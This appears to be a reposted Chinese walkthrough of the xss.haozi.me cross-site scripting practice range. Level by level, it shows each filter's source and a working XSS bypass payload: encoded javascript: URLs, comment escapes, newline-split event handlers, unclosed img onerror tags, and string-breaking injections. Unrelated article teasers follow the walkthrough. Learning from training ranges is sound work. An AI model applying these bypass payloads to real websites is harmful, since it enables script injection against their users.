xss.haozi.me靶场练习

news2024/11/17 23:47:20

靶场地址alert(1)

1、第一关

输入在文本框里面,我们闭合前面的标签,中间的内容我们就可以随意写了

2、第二关

逃逸value的属性即可,这里使用点击事件触发xss

3、第三关

看代码,使用了正则表达式,去掉了所有的括号字符

/[()]/g是一个正则表达式,表示匹配字符串中包含的括号字符"()"。在正则表达式中,方括号[]表示字符集合,其中列出的字符表示需要匹配的字符。因此[()]表示匹配任何一个括号字符,即左括号"("或右括号")"。而后面的g标志表示全局匹配,即匹配整个字符串中的所有符合条件的部分,而不是只匹配第一个。

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

尝试编码绕过,但是因为在JavaScript里面不会解码,因此编码绕过失败

(1)a标签

我们使用a标签,里面使用编码却可以绕过,为啥?因为编码有顺序

在href里面,先是解析url编码,然后html实体编码,最后是JavaScript编码。所以在里面先被html实体编码解析过了,括号已经生成了

<a href="javascript:alert&#40;1&#41;">test</a>

(2)iframe标签

既然html在JavaScript前面,那么具有url编码的iframe标签也可以进行

<iframe src="javascript:alert&#40;1&#41;">test</iframe>

4、第四关

和上一关payload一样,只是增加了个反引号过滤罢了

5、第五关

让我们逃逸注释符

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>

上面这种可以闭合

6、第六关

源码过滤了以auto或on开头并且结尾是=的字符串,替换成_了,我们可以使用换行来分开这串字符串

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

payload

onclick
=alert(1)

7、第七关

源码过滤了html的常用标签符号,当我们尝试<>,就会过滤掉,因此绕过方法是使用单标签不完全闭合。

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
<img src=x onerror="alert(1)"

8、第八关

正则过滤了</script>,和前面一关很像,直接换行过滤即可

</style
>
<script>alert(1)</script>
<style>

9、第九关

https://www.segmentfault.com"></script><script>alert(1)</script>//
https://www.segmentfault.com.haozi.me/j.js

10、0x0A

URL重定向

https://www.segmentfault.com.haozi.me/j.js

11、0x0B

源码将输入的转成大写了,JavaScript肯定不行了,但是HTML不区分大小写,符号和数字也不会,那就用编码呗

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

12、0x0C

和上一关payload一样,编码绕过大写即可

13、0x0D

这一关过滤了< " '而且前面还有注释,我们使用换行绕过//,使用-->注释掉


alert(1)
-->

14、0x0E

源码将html的标签转换为以_开头,所有输入转为大写

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

特殊技巧用ſ字符可以替换s

<ſcript src="https://xss.haozi.me/j.js"></script>

15、0x0F

闭合括号就行

');alert('1

16、第十关

直接闭合前面的<script标签即可>

</script><script>alert(1)

17、第十一关

还是闭合加注释即可

");alert(1)//

18、第十二关

转义转义我们的转义符号

\");alert(1)//

Yes 结束!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1476304.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【MATLAB】MVMD_ MFE_SVM_LSTM 神经网络时序预测算法

有意向获取代码&#xff0c;请转文末观看代码获取方式~也可转原文链接获取~ 1 基本定义 MVMD_MFE_SVM_LSTM神经网络时序预测算法结合了多变量多尺度分解&#xff08;MVMD&#xff09;、多尺度特征提取&#xff08;MFE&#xff09;、支持向量机&#xff08;SVM&#xff09;和长…

Vueuse:打造高效的 Vue.js 开发利器

Vueuse&#xff1a;打造高效的 Vue.js 开发利器 Vueuse 是一个功能强大的 Vue.js 生态系统工具库&#xff0c;它提供了一系列的可重用的 Vue 组件和函数&#xff0c;帮助开发者更轻松地构建复杂的应用程序。本文将介绍 Vueuse 的主要特点和用法&#xff0c;以及它在 Vue.js 开发…

JS总览-JS高级程序设计4-学习笔记

JS简史 1995年 JS 问世&#xff0c;彼时其主要任务是替代服务器端语言处理输入验证 1995年网景公司的 Brendan Eich 开发了一个脚注Live Script的脚步语言&#xff0c;后来网景公司与 Sun 公司结盟&#xff0c;更名 Live Script 为 Java Script 由于微软发布 IE3 时包含了自己…

【Linux】基础篇-Linux四种环境搭建的方式(详细安装说明步骤,搭载下载安装地址)

目录 1. 使用虚拟机&#xff08;推荐VMware&#xff09;centos 7版本 1.1VMware虚拟机下载 1.2VMware 安装 1.3centos-7 清华大学镜像下载 1.4 centos-7 清华大学镜像导入虚拟机VMware 2.使用虚拟机ubuntu 20.04版本 2.1虚拟机下载同上 2.2虚拟机安装同上 2.3ubunt…

selenium-激活pycharm,以及在pycharm中使用selenium时标红报错问题处理

激活pycharm&#xff1a;http://idea.955code.com/ 01 pycharm中导入selenium报错 现象: pycharm中输入from selenium import webdriver, selenium标红 原因1: pycharm使用的虚拟环境中没有安装selenium&#xff1a; 解决方法: 在pycharm中通过设置或terminal面板重新安装s…

KubeEdge 边缘计算

文章目录 1.KubeEdge2.KubeEdge 特点3.KubeEdge 组成4.KubeEdge 架构 KubeEdge # KubeEdgehttps://iothub.org.cn/docs/kubeedge/ https://iothub.org.cn/docs/kubeedge/kubeedge-summary/1.KubeEdge KubeEdge 是一个开源的系统&#xff0c;可将本机容器化应用编排和管理扩展…

最新版阿里云Linux CentOS7 ecs-user用户安装Mysql8详细教程(超简单)

经过两天的踩坑后&#xff0c;终于成功安装&#xff0c;并找到了最快捷的安装方式。接下来就由我来给大家介绍不踩坑安装大法&#xff01; 一、下载Mysql 首先前往Mysql官网下载 MySQL官方下载地址 第一步&#xff0c;选择安装包&#xff0c;这是最关键的一步&#xff0c;选错安…

弹窗内容由后端返回,如何让点击按钮的事件交由前端控制?

一、场景 背景&#xff1a;因为系统里经常有新活动或者公告需要通知所有用户&#xff0c;希望前端维护的这个弹窗里的内容可以由后端接口返回。这样就不需要每次上新活动的时候&#xff0c;前端项目都发版了。因此&#xff0c;前端维护了这个弹窗和它的关闭事件&#xff0c;至…

【kubernetes】关于云原生之k8s集群的pod理论详解

目录 一、pod的基础概念 什么是pod&#xff1f; k8s集群中pod的两种使用方式 pod中运行容器的原则&#xff1a; 创建pod的3种方式 第一种&#xff1a;自主式Pod 第二种&#xff1a;控制器管理的Pod 第三种&#xff1a;静态Pod 二、pod中容器的基础概念 pod容器的分类 …

阿里云4核16G服务器多少钱?幻兽帕鲁配置报价

2024阿里云幻兽帕鲁专用服务器价格表&#xff1a;4核16G幻兽帕鲁专用服务器26元一个月、149元半年&#xff0c;默认10M公网带宽&#xff0c;8核32G幻兽帕鲁服务器10M带宽价格90元1个月、271元3个月。阿里云提供的Palworld服务器是ECS经济型e实例&#xff0c;CPU采用Intel Xeon …

http模块-通过创建的服务器将本地文件转换成web资源

案例-通过创建的服务器将本地文件转换成web资源 目的&#xff1a;将本地文件转换成web资源思路&#xff1a;将文件实际存放的地址作为每个资源的请求url地址。大致流程&#xff1a; 浏览器–请求->自己写的web服务器–读文件->磁盘目录–读取完毕->自己写的web服务器…

JWT基于Cookie的会话保持,并解决CSRF问题的方案

使用JWT进行浏览器接口请求&#xff0c;在使用Cookie进行会话保持传递Token时&#xff0c;可能会存在 CSRF 漏洞问题&#xff0c;同时也要避免在产生XSS漏洞时泄漏Token问题&#xff0c;如下图在尽可能避免CSRF和保护Token方面设计了方案。 要点解释如下&#xff1a; 将JWT存入…

推荐一款桌面端redis连接工具, redis desktop manager替代品——another redis desktop manager

下载地址 Another Redis Desktop Manager | 更快、更好、更稳定的Redis桌面(GUI)管理客户端&#xff0c;兼容Windows、Mac、Linux&#xff0c;性能出众&#xff0c;轻松加载海量键值 封面对比 对比redis desktop manager &#xff0c;ui上有巨大的改进 但是redis desktop ma…

抖音视频评论批量下载软件|抖音数据抓取工具

随着业务需求的增长&#xff0c;抖音视频的下载需求也日益增加。传统的方式是通过逐个复制粘贴分享链接来下载视频&#xff0c;这种操作效率低下且耗时费力。为了解决这一问题&#xff0c;我们开发了一款基于C#的抖音视频评论批量下载软件&#xff0c;旨在实现通过关键词自动批…

网络爬虫的危害,如何有效的防止非法利用

近年来&#xff0c;不法分子利用“爬虫”软件收集公民隐私数据案件屡见不鲜。2023年8月23日&#xff0c;北京市高级人民法院召开北京法院侵犯公民个人信息犯罪案件审判情况新闻通报会&#xff0c;通报侵犯公民个人隐私信息案件审判情况&#xff0c;并发布典型案例。在这些典型案…

【物联网应用案例】智能农业应用案例

随着物联网 (IoT) 的广泛应用&#xff0c;各种互联设备已经深度融入我们的生活&#xff0c;涵盖了健康与健身、家庭自动化、物流运输以及智慧城市和工业物联网等多个领域。因此&#xff0c;将物联网、联网设备和自动化技术应用于农业&#xff0c;是十分符合时代发展需求的&…

vue3 开发记录

1.引入nprogress插件&#xff0c;显示未声明文件 无法找到模块“nprogress”的声明文件。 解决方法&#xff1a; vite-env.d.ts // 解决引入模块的报错提示 declare module "nprogress";2.在 .evn 文件中创建了自定义环境变量 VITE_APP_BASE_URL 但在项目中使用时出…

Real-time object detection and 3D scene perception in self-driving cars

摘要 可靠的城市自动驾驶取决于车辆感知和导航环境的能力。本论文的研究重点是设计并实现一个基于视觉的NUSTAG自动驾驶汽车感知系统。主要任务是使用立体相机馈送来估计汽车、自行车和行人的位置&#xff0c;从而实现3D边界框估计和深度感知。此外&#xff0c;使用2D对象检测…

SpringBoot集成EasyExcel快速人们

目录 1.背景介绍 2.EasyExcel的使用 1.添加依赖 2.相关代码准备 1.实体类 2.ExcelUtil工具类 3.写入控制类 1.背景介绍 EasyExcel 是阿里巴巴开发的一款基于 Java 的专业化 Excel 操作工具&#xff0c;主要用于在 Java 应用程序中快速、高效地读写 Excel 文件。EasyExce…

第二周opencv

一、边缘检测算子 边缘检测算子是用于检测图像中物体边界的工具。边缘通常表示图像中灰度值或颜色发生显著变化的地方。边缘检测有助于识别图像中的物体形状、轮廓和结构。这些算子通过分析图像的灰度或颜色梯度来确定图像中的边缘。 1、Roberts 算子 通过局部差分计算检测边缘…